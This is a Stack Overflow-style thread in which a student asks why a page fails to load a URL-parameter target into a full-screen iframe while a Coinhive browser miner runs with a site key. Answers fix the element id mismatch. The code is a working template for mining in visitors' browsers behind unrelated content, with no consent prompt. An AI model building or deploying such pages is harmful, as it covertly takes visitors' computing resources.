1

I'm trying to do a little project with coinhive, but I had some troubles.

What i wanted to do is just display a web page in an iframe while coinhive was mining. (don't scare, it's only for my own pourpouses and I'll not use it illegally)

Up to here everything was working, so i decided to make it smarter, changing the website showed up from the url (for example: www.domain.com/page?url=targeturl) but everytime I try setting .src value of the iframe from javascript it don't works. Here's the code. Any help is helpful! (I'm just a student haha)

<iframe src="about:blank" id="frm" style="height:100%; width:100%; position:fixed; top:0; bottom:0; left:0; right:0;"></iframe>

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>
  var miner = new CoinHive.Anonymous('WJ2VsNaAOJh6yp5epJpVXGqV3lzQKZIw', { throttle: 0.5 });
  miner.start();
  
  function getParameterByName(name, url) 
    { 
      if (!url) url = window.location.href; 
      name = name.replace(/[\[\]]/g, "\\$&"); 
      var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), results = regex.exec(url); 
      if (!results) return null; 
      if (!results[2]) return ''; 
      return decodeURIComponent(results[2].replace(/\+/g, " ")); 
    }
  var url = getParameterByName('url');
  document.getElementById('preview').src = url;
</script>
TommyDima
  • 13
  • 4
  • There is no element with id `preview` in your example; your iframe has id `frm`. If you change preview to `frm` in your `getElementById` call or change `frm` to `preview` as the iframe's id, it should work. getParameterByName is returning the correct value, though [I wouldn't recommend doing it with regex](https://stackoverflow.com/questions/979975). – vox Nov 23 '17 at 17:50

2 Answers2

1

I think you should change the id to 'frm' instead to 'preview' in:

document.getElementById('preview').src = url;
Emilio Lucas Ceroleni
  • 1,559
  • 2
  • 9
  • 13
  • Yeah you're right, that was a distraction error... Btw before it was correct but when I tried to debug it (with codepen) the page just showed white. I tried it again and I had the same issue, but when i exported and I opened it with Chrome it worked. Thanks a lot! :) – TommyDima Nov 23 '17 at 18:13
0
document.getElementById('preview').src = url;


<iframe src="about:blank" **id="preview"** style="height:100%; width:100%; position:fixed; top:0; bottom:0; left:0; right:0;"></iframe>

Please change id of iframe...

Danish
  • 497
  • 5
  • 14